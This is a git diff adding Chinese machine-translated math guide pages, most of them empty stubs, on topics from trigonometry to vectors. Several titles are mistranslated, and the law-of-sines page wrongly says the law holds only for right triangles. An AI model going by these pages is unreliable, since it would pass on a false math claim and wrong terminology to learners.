diff --git a/client/src/guide/chinese/mathematics/surface-area-of-a-pyramid/index.md b/client/src/guide/chinese/mathematics/surface-area-of-a-pyramid/index.md
new file mode 100644
index 0000000000..d93202c6b7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/surface-area-of-a-pyramid/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Pyramid
+localeTitle: 金字塔的表面积
+---
+## 金字塔的表面积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-pyramid/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/surface-area-of-a-sphere/index.md b/client/src/guide/chinese/mathematics/surface-area-of-a-sphere/index.md
new file mode 100644
index 0000000000..024ec0aabb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/surface-area-of-a-sphere/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Sphere
+localeTitle: 球体的表面积
+---
+## 球体的表面积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-sphere/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/synthetic-division/index.md b/client/src/guide/chinese/mathematics/synthetic-division/index.md
new file mode 100644
index 0000000000..7f2980ba90
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Synthetic Division
+localeTitle: 合成部门
+---
+## 合成部门
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/synthetic-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/systems-of-equations-with-substitution/index.md b/client/src/guide/chinese/mathematics/systems-of-equations-with-substitution/index.md
new file mode 100644
index 0000000000..25ded45bef
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/systems-of-equations-with-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Equations with Substitution
+localeTitle: 具有替换的方程组
+---
+## 具有替换的方程组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-equations-with-substitution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/systems-of-linear-equations-definitions/index.md b/client/src/guide/chinese/mathematics/systems-of-linear-equations-definitions/index.md
new file mode 100644
index 0000000000..6fb932be1c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/systems-of-linear-equations-definitions/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Definitions
+localeTitle: 线性方程组定义系统
+---
+## 线性方程组定义系统
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-definitions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md b/client/src/guide/chinese/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md
new file mode 100644
index 0000000000..13d6d78b4d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Solving by Addition or Elimination
+localeTitle: 通过加法或消除求解线性方程组
+---
+## 通过加法或消除求解线性方程组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/systems-of-linear-equations-solving-by-substitution/index.md b/client/src/guide/chinese/mathematics/systems-of-linear-equations-solving-by-substitution/index.md
new file mode 100644
index 0000000000..864a166753
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/systems-of-linear-equations-solving-by-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Solving by Substitution
+localeTitle: 通过替换求解线性方程组
+---
+## 通过替换求解线性方程组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-solving-by-substitution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/table-of-factors-and-multiples/index.md b/client/src/guide/chinese/mathematics/table-of-factors-and-multiples/index.md
new file mode 100644
index 0000000000..65ad9b4069
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/table-of-factors-and-multiples/index.md
@@ -0,0 +1,11 @@
+---
+title: Table of Factors and Multiples
+localeTitle: 因子表和倍数
+---
+## 因子表和倍数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/table-of-factors-and-multiples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/taylor-and-maclaurin-polynomials-intro/index.md b/client/src/guide/chinese/mathematics/taylor-and-maclaurin-polynomials-intro/index.md
new file mode 100644
index 0000000000..255c90aacf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/taylor-and-maclaurin-polynomials-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Taylor and Maclaurin Polynomials Intro
+localeTitle: 泰勒和麦克劳林多项式介绍
+---
+## 泰勒和麦克劳林多项式介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/taylor-and-maclaurin-polynomials-intro/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-binomial-theorem-formulas/index.md b/client/src/guide/chinese/mathematics/the-binomial-theorem-formulas/index.md
new file mode 100644
index 0000000000..0997ce3546
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-binomial-theorem-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: The Binomial Theorem Formulas
+localeTitle: 二项式定理公式
+---
+## 二项式定理公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-binomial-theorem-formulas/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-change-of-base-formula/index.md b/client/src/guide/chinese/mathematics/the-change-of-base-formula/index.md
new file mode 100644
index 0000000000..5e7023382c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-change-of-base-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: The Change of Base Formula
+localeTitle: 基本公式的变化
+---
+## 基本公式的变化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-change-of-base-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-common-and-natural-logarithms/index.md b/client/src/guide/chinese/mathematics/the-common-and-natural-logarithms/index.md
new file mode 100644
index 0000000000..b1d41a8a86
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-common-and-natural-logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: The Common and Natural Logarithms
+localeTitle: 共同与自然对数
+---
+## 共同与自然对数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-common-and-natural-logarithms/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-distance-formula/index.md b/client/src/guide/chinese/mathematics/the-distance-formula/index.md
new file mode 100644
index 0000000000..f2392ab562
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-distance-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: The Distance Formula
+localeTitle: 距离公式
+---
+## 距离公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-distance-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-law-of-cosines/index.md b/client/src/guide/chinese/mathematics/the-law-of-cosines/index.md
new file mode 100644
index 0000000000..522ffdf8fb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-law-of-cosines/index.md
@@ -0,0 +1,11 @@
+---
+title: The Law of Cosines
+localeTitle: 余弦定律
+---
+## 余弦定律
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-law-of-cosines/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-law-of-sines/index.md b/client/src/guide/chinese/mathematics/the-law-of-sines/index.md
new file mode 100644
index 0000000000..ac15bd02d5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-law-of-sines/index.md
@@ -0,0 +1,15 @@
+---
+title: The Law of Sines
+localeTitle: 正弦律
+---
+## 正弦律
+
+正弦定律仅适用于直角三角形。当你有两个或两个以上的边和至少一个相应的角度来解决你的遗漏方。
+
+等式是：
+
+Sin（A）/ a = Sin（B）/ b = Sin（C）/ c
+
+#### 更多信息：
+
+https://www.mathsisfun.com/algebra/trig-sine-law.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-midpoint-formula/index.md b/client/src/guide/chinese/mathematics/the-midpoint-formula/index.md
new file mode 100644
index 0000000000..d61da7c4e1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-midpoint-formula/index.md
@@ -0,0 +1,15 @@
+---
+title: The Midpoint Formula
+localeTitle: 中点公式
+---
+## 中点公式
+
+在数学中，中点是线段的中间点。
+
+![IMG](https://upload.wikimedia.org/wikipedia/commons/thumb/6/68/Midpoint.svg/282px-Midpoint.svg.png)
+
+在二维中，对于具有端点（x1，y1）和（x2，y2）的线段，中点是中点，中点=（（x1 + x2）/ 2，（y1 + y2）/ 2）。
+
+#### 更多信息：
+
+*   [维基百科 - 中点](https://en.wikipedia.org/wiki/Midpoint)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-quadratic-formula-explained/index.md b/client/src/guide/chinese/mathematics/the-quadratic-formula-explained/index.md
new file mode 100644
index 0000000000..8009e6dab3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-quadratic-formula-explained/index.md
@@ -0,0 +1,11 @@
+---
+title: The Quadratic Formula Explained
+localeTitle: 二次公式解释
+---
+## 二次公式解释
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-quadratic-formula-explained/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-slope-of-a-straight-line/index.md b/client/src/guide/chinese/mathematics/the-slope-of-a-straight-line/index.md
new file mode 100644
index 0000000000..1cc79994d4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-slope-of-a-straight-line/index.md
@@ -0,0 +1,27 @@
+---
+title: The Slope of a Straight Line
+localeTitle: 直线的斜率
+---
+## 直线的斜率
+
+*   线的斜率是描述线的方向和陡度的数字。通常，线的斜率用m表示。  
+    
+*   线中的斜率（m = 0）的零值表示给定线是水平的。  
+    
+*   具有未定义的斜率值的线表示给定的线是垂直的。  
+    
+*   斜率为正值的线（m> 0）表示给定的线从左向右上升。  
+    
+*   斜率为负值的线（m <0）表示给定的线从右向左下降。  
+    
+
+### 当给出线上两个点的坐标时，计算线的斜率
+
+在这种情况下，假设一条线l有两个坐标（x 1 ，y 1 ）和（x 2 ，y 2 ）点，那么一条线的斜率计算如下：
+
+![](https://latex.codecogs.com/gif.latex?m&space;=&space;\frac{y_{2}&space;-&space;y_{1}}{x_{2}&space;-&space;x_{1}} "m = \ frac {y_ {2}  -  y_ {1}} {x_ {2}  -  x_ {1}}")
+
+### 从线的方程计算线的斜率
+
+将给定方程式从给定形式转换为形式![](https://latex.codecogs.com/gif.latex?y&space;=&space;mx&space;+&space;c "y = mx + c")  
+其中m是斜率 c是y截距。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md b/client/src/guide/chinese/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md
new file mode 100644
index 0000000000..5076a489cc
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: The Unit Circle Definition of Sine Cosine and Tangent
+localeTitle: 正弦余弦和正切的单位圆定义
+---
+## 正弦余弦和正切的单位圆定义
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-unit-circle/index.md b/client/src/guide/chinese/mathematics/the-unit-circle/index.md
new file mode 100644
index 0000000000..b4bae0fb59
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-unit-circle/index.md
@@ -0,0 +1,11 @@
+---
+title: The Unit Circle
+localeTitle: 单位圈
+---
+## 单位圈
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-unit-circle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/the-vertex-of-a-parabola/index.md b/client/src/guide/chinese/mathematics/the-vertex-of-a-parabola/index.md
new file mode 100644
index 0000000000..bd0dc5246e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/the-vertex-of-a-parabola/index.md
@@ -0,0 +1,9 @@
+---
+title: The Vertex of a Parabola
+localeTitle: 抛物线的顶点
+---
+## 抛物线的顶点
+
+抛物线的顶点是抛物线的最低点或最高点（如果抛物线是颠倒的）。这是斜率从正变为负，反之亦然的点。对于给定的二次y = ax ^ 2 + bx + c，通过计算h = -b / 2a并通过插入h来评估y来找到顶点（h，k）。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/triangle/index.md b/client/src/guide/chinese/mathematics/triangle/index.md
new file mode 100644
index 0000000000..25188c3898
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Triangle
+localeTitle: 三角形
+---
+## 三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/triangle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/trigonometric-functions/index.md b/client/src/guide/chinese/mathematics/trigonometric-functions/index.md
new file mode 100644
index 0000000000..7e2224e3e2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometric Functions
+localeTitle: 三角函数
+---
+## 三角函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometric-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/trigonometric-identities/index.md b/client/src/guide/chinese/mathematics/trigonometric-identities/index.md
new file mode 100644
index 0000000000..5835b751f1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/trigonometric-identities/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometric Identities
+localeTitle: 三角恒等式
+---
+## 三角恒等式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometric-identities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/trigonometry/angles-pi-over-3/index.md b/client/src/guide/chinese/mathematics/trigonometry/angles-pi-over-3/index.md
new file mode 100644
index 0000000000..f990485f3a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/trigonometry/angles-pi-over-3/index.md
@@ -0,0 +1,11 @@
+---
+title: Angles PI Over 3
+localeTitle: 角度PI超过3
+---
+## 角度PI超过3
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/angles-pi-over-3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/trigonometry/angles-pi-over-4/index.md b/client/src/guide/chinese/mathematics/trigonometry/angles-pi-over-4/index.md
new file mode 100644
index 0000000000..da83b94646
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/trigonometry/angles-pi-over-4/index.md
@@ -0,0 +1,11 @@
+---
+title: Angles PI Over 4
+localeTitle: 角度PI超过4
+---
+## 角度PI超过4
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/angles-pi-over-4/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/trigonometry/index.md b/client/src/guide/chinese/mathematics/trigonometry/index.md
new file mode 100644
index 0000000000..7050df289a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/trigonometry/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometry
+localeTitle: 三角
+---
+## 三角
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/trigonometry/trigonometric-identities/index.md b/client/src/guide/chinese/mathematics/trigonometry/trigonometric-identities/index.md
new file mode 100644
index 0000000000..b41a5e7d4d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/trigonometry/trigonometric-identities/index.md
@@ -0,0 +1,46 @@
+---
+title: Trigonometric Identities
+localeTitle: 三角恒等式
+---
+# 三角恒等式
+
+_三角函数身份_是涉及三角函数的_等式_ 。三角函数是角度的函数，其将三角形的角度与其边的长度（例如，正弦，余弦和正切）相关联。对于定义了相等性两边的变量的每个值， _三角函数身份_都是正确的。
+
+每当需要简化涉及三角函数的表达式时， _三角函数身份_都非常有用。
+
+## 三角恒等式列表
+
+*   角度加法公式
+*   双角公式
+*   半角公式
+*   谐波加法定理
+*   Mollweide的配方
+*   莫里定律
+*   多角度公式
+*   牛顿的公式
+*   Prosthaphaeresis配方
+*   辛普森的公式
+*   正弦 - 正切定理
+*   三角加成公式
+*   三角函数公式
+*   三角系列公式
+*   三角学角度
+*   三角学角度 - 0
+*   三角学角度 - Pi / 2 - Pi / 32
+*   瓦利斯余弦公式
+*   沃利斯公式
+*   沃利斯正弦公式
+*   Weierstrass替补
+*   维尔纳公式
+
+#### 单位圆周围的余弦和正弦
+
+![余弦和正弦是单位圆](https://upload.wikimedia.org/wikipedia/commons/thumb/4/4c/Unit_circle_angles_color.svg/640px-Unit_circle_angles_color.svg.png?1507763902323)
+
+## 其他资源
+
+*   [Wolfram MathWorld - 三角函数身份](http://mathworld.wolfram.com/topics/TrigonometricIdentities.html)
+*   [Wolfram MathWorld - 三角学角度 - Pi / 3](http://mathworld.wolfram.com/TrigonometryAnglesPi3.html)
+*   [Wolfram MathWorld - 30-60-90三角形](http://mathworld.wolfram.com/30-60-90Triangle.html)
+*   [维基百科 - 三角标识列表](https://www.wikiwand.com/en/List_of_trigonometric_identities)
+*   [维基百科 - 三角函数](https://www.wikiwand.com/en/Trigonometric_functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/u-substitution-indefinite-integrals/index.md b/client/src/guide/chinese/mathematics/u-substitution-indefinite-integrals/index.md
new file mode 100644
index 0000000000..81ca047a0d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/u-substitution-indefinite-integrals/index.md
@@ -0,0 +1,11 @@
+---
+title: U Substitution Indefinite Integrals
+localeTitle: U替换不定积分
+---
+## U替换不定积分
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/u-substitution-indefinite-integrals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/understanding-square-roots/index.md b/client/src/guide/chinese/mathematics/understanding-square-roots/index.md
new file mode 100644
index 0000000000..c082f3acf1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/understanding-square-roots/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding Square Roots
+localeTitle: 了解平方根
+---
+## 了解平方根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/understanding-square-roots/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/understanding-the-quadratic-formula/index.md b/client/src/guide/chinese/mathematics/understanding-the-quadratic-formula/index.md
new file mode 100644
index 0000000000..640c2b8f11
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/understanding-the-quadratic-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding the Quadratic Formula
+localeTitle: 理解二次方程式
+---
+## 理解二次方程式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/understanding-the-quadratic-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/unit-circle/index.md b/client/src/guide/chinese/mathematics/unit-circle/index.md
new file mode 100644
index 0000000000..b0fba78d86
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/unit-circle/index.md
@@ -0,0 +1,11 @@
+---
+title: Unit Circle
+localeTitle: 单位圈
+---
+## 单位圈
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/unit-circle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/us-standard-volume/index.md b/client/src/guide/chinese/mathematics/us-standard-volume/index.md
new file mode 100644
index 0000000000..3c883cb473
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/us-standard-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Us Standard Volume
+localeTitle: 我们标准卷
+---
+## 我们标准卷
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/us-standard-volume/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/using-the-cosine-double-angle-identity/index.md b/client/src/guide/chinese/mathematics/using-the-cosine-double-angle-identity/index.md
new file mode 100644
index 0000000000..ec5902ce08
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/using-the-cosine-double-angle-identity/index.md
@@ -0,0 +1,11 @@
+---
+title: Using the Cosine Double Angle Identity
+localeTitle: 使用余弦双角度身份
+---
+## 使用余弦双角度身份
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/using-the-cosine-double-angle-identity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vector-intro-for-linear-algebra/index.md b/client/src/guide/chinese/mathematics/vector-intro-for-linear-algebra/index.md
new file mode 100644
index 0000000000..1799df03ff
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vector-intro-for-linear-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Vector Intro for Linear Algebra
+localeTitle: 线性代数的矢量介绍
+---
+## 线性代数的矢量介绍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vector-intro-for-linear-algebra/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/addition-and-scalar-multiplication/index.md b/client/src/guide/chinese/mathematics/vectors/addition-and-scalar-multiplication/index.md
new file mode 100644
index 0000000000..ad98bc1470
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/addition-and-scalar-multiplication/index.md
@@ -0,0 +1,42 @@
+---
+title: Addition and Scalar Multiplication
+localeTitle: 加法和标量乘法
+---
+## 加法和标量乘法
+
+使用向量时，两个最常见的操作是向量的加法和标量的乘法。
+
+### 矢量加法
+
+矢量添加可以如下可视化：
+
+1.  取第二个矢量的“尾部”（没有箭头的末端/矢量的原点），并将其（未改变）连接到第一个矢量的“尖端”（尖头/箭头末端）。现在，如果你创建一个从第一个向量的尾部到第二个向量的尖端的新向量，你将留下两个向量的总和！
+    
+2.  减去两个向量几乎是相同的。但是，您必须翻转第二个矢量的方向，然后继续将其连接到第一个矢量。
+    
+
+显然，您不希望每次想要添加矢量时都必须绘制和连接矢量。幸运的是，解决方案在实践中更加简单。
+
+假设你有两个向量<1,2>和<5，-4>，你所要做的就是添加相应的组件：
+
+ <1,2> + <5，-4> = <1 + 5,2 +（ -  4）> = <6，-2> 
+
+只要添加的两个矢量的大小相同，这适用于任意多个维度的矢量。例如，添加<4,4，-5,0>和<2,4，-1，-29>：
+
+ <4,4，-5,0> + <2,4，-1，-29> = <4 + 2,4 + 4，-5 +（ -  1），0 +（ -  29）> = <6 ，8，-6，-29> 
+
+### 标量乘法
+
+将矢量乘以标量时，您可以将其视为增加其幅度。
+
+例如，将vector <2,3>乘以2时：
+
+ 2 \* <2,3> = <2 \* 2,2 \* 3> = <4,6> 
+
+方向得以保留 - 只是幅度增加了2倍。
+
+但是，当我们乘以负数时，方向相反。将vector <2,3>乘以-2时：
+
+ -2 \* <2,3> = < -  2 \* 2， -  2 \* 3> = < -  4，-6> 
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/algebraic-laws-of-vectors/index.md b/client/src/guide/chinese/mathematics/vectors/algebraic-laws-of-vectors/index.md
new file mode 100644
index 0000000000..69e2635a29
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/algebraic-laws-of-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Algebraic Laws of Vectors
+localeTitle: 向量的代数定律
+---
+## 向量的代数定律
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/algebraic-laws-of-vectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
